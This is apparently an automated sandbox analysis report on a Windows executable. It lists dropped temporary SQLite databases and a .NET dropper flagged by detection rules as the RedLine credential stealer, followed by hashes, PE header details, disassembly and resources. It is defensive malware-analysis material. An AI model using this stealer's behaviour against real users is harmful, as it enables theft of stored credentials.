SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC5A4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC5A5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC5B6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD440.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD461.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD471.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD482.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD493.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD4A3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFC77.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFC87.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFC98.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFCA9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFCAA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFCCA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFCDA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe

Download File

Process:	C:\Users\user\Desktop\Ekpb7jn7mf.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	97792
Entropy (8bit):	5.960605794636107
Encrypted:	false
SSDEEP:	1536:Nqs4iqeHlbG6jejoigIH43Ywzi0Zb78ivombfexv0ujXyyed2vteulgS6pIl:7/pVYH+zi0ZbYe1g0ujyzdbI
MD5:	EAB323FA6C66098BE1068FEF0A03BFF2
SHA1:	AE2A4B7D9FE9DB57AFCDA3F7AA599D13EEEA4551
SHA-256:	B978A85D1EF238362AFAFC770A8DA33C6149F54F8767B0F5753F069EB4E0DFFF
SHA-512:	97BB7D82FAC8D1885806323BB113EBC41EDF90110D5D447BDAD6FE3EF89CBD6226ECEE8BF3419BF00FA2748008F887C17C783FAF1785FBE3C817D32F7D502AAF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, Author: unknown Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t..........>.... ........@.. ....................................@....................................K.................................................................................... ............... ..H............text...Ds... ...t.................. ..`.rsrc................v..............@..@.reloc...............\|..............@..B................ .......H...........<.......C....................................................0.. .......s......~....%-.&~..........s....%.....(...+o.....8.....o............%........%.....(....s.....%.......%.....(....s.....%.......%.....(....s.....(....o.....8F.....(.....s......s,.......~....}....~.........s....(....o....}......{...........%.....(....s....o....,.......%.....(....s......+O..>.....%.....(....s....r...p~....(....(....o....-...{....(....+...{....(........(....:V......o........(....o

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.075902702239035
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Ekpb7jn7mf.exe
File size:	289'471 bytes
MD5:	4ce2c0836c46c61b588972b56a23d5e2
SHA1:	939a9f983870df1913acce63ca408bba9789588f
SHA256:	05df07e5e365386ae0917e177328bc12a2405a1c4317266127abb6903aac59b3
SHA512:	7b32f30b61ca8dcd9ae897d4d9e0480d8e0e2e5ae43f5f56f393d6a0dce7fa79e501c3d3609fcd288624c817401aa7f53c5f2fcdd7dda78d32c5034519d7256e
SSDEEP:	6144:+sxanyfX5k7JlJDlABKUtfU/WQcb5sDqaxw3fWHdJytaaDlNiJ:f0nyfXuIBDtfu3qaxzHdJytlM
TLSH:	FB54D06236D1C031F4B36530D9F89671AE79BC316A35A94EBBC00F6D2FB1A91C225B53
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.HG%.HG%.HG%.A?..SG%.A?...G%.A?..]G%.HG$..G%.A?../G%.A?..IG%.A?..IG%.A?..IG%.RichHG%.................PE..L....R.T...........

File Icon


Icon Hash:	d4a684988ca4a0d5

Static PE Info

General

Entrypoint:	0x41d7cb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x54E0521F [Sun Feb 15 08:00:31 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	4cfda23baf1e2e983ddfeca47a5c755a

Entrypoint Preview

Instruction
call 00007FAD787E2C8Ah
jmp 00007FAD787DC77Dh
mov edi, edi
push ebp
mov ebp, esp
push esi
lea eax, dword ptr [ebp+08h]
push eax
mov esi, ecx
call 00007FAD787DC587h
mov dword ptr [esi], 0042B220h
mov eax, esi
pop esi
pop ebp
retn 0004h
mov dword ptr [ecx], 0042B220h
jmp 00007FAD787DC63Ch
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov dword ptr [esi], 0042B220h
call 00007FAD787DC629h
test byte ptr [ebp+08h], 00000001h
je 00007FAD787DC909h
push esi
call 00007FAD787D9357h
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword ptr [ebp+08h]
mov eax, dword ptr [edi+04h]
test eax, eax
je 00007FAD787DC949h
lea edx, dword ptr [eax+08h]
cmp byte ptr [edx], 00000000h
je 00007FAD787DC941h
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [esi+04h]
cmp eax, ecx
je 00007FAD787DC916h
add ecx, 08h
push ecx
push edx
call 00007FAD787DFDB3h
pop ecx
pop ecx
test eax, eax
je 00007FAD787DC906h
xor eax, eax
jmp 00007FAD787DC926h
test byte ptr [esi], 00000002h
je 00007FAD787DC907h
test byte ptr [edi], 00000008h
je 00007FAD787DC8F4h
mov eax, dword ptr [ebp+10h]
mov eax, dword ptr [eax]
test al, 01h
je 00007FAD787DC907h
test byte ptr [edi], 00000001h
je 00007FAD787DC8E6h
test al, 02h
je 00007FAD787DC907h
test byte ptr [edi], 00000002h
je 00007FAD787DC8DDh
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax]
cmp eax, 00004F4Dh

Rich Headers

Programming Language:

[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[EXP] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2efa0	0x33	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2db7c	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x51000	0x519a	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2a3f0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2cc10	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2a000	0x384	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2878a	0x28800	d06d79869523ea3421d1bec81acb4dd3	False	0.5987172067901234	data	6.719347478322136	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2a000	0x4fd3	0x5000	ae7c16bd625a124b8fbf6ecc9002c4ff	False	0.398388671875	data	5.389979228626923	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2f000	0x21428	0x1600	6754819d963e719555064632286f5a0d	False	0.33824573863636365	data	3.465549868754234	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x51000	0x519a	0x5200	cbf1086fcb5bb60c381a8a8be59ad95d	False	0.5894150152439024	data	6.176452024873748	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x514bc	0xbb6	Device independent bitmap graphic, 93 x 302 x 4, 2 compression, image size 2894, resolution 2835 x 2835 px/m	English	United States	0.2581721147431621
RT_ICON	0x52074	0x1fc2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9785977859778597
RT_DIALOG	0x54038	0x286	data	English	United States	0.5030959752321982
RT_DIALOG	0x542c0	0x13a	data	English	United States	0.6050955414012739
RT_DIALOG	0x543fc	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x544e8	0x12e	data	English	United States	0.5860927152317881
RT_DIALOG	0x54618	0x338	data	English	United States	0.44538834951456313
RT_DIALOG	0x54950	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x54ba4	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x54d88	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x54f54	0x1ee	data	English	United States	0.451417004048583
RT_STRING	0x55144	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x5528c	0x446	data	English	United States	0.340036563071298
RT_STRING	0x556d4	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x5583c	0x120	data	English	United States	0.5451388888888888
RT_STRING	0x5595c	0xba	data	English	United States	0.4946236559139785
RT_STRING	0x55a18	0xa2	data	English	United States	0.6049382716049383
RT_GROUP_ICON	0x55abc	0x14	data			1.2
RT_MANIFEST	0x55ad0	0x6ca	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4090909090909091

Imports

DLL	Import
COMCTL32.dll	InitCommonControlsEx
SHLWAPI.dll	SHAutoComplete
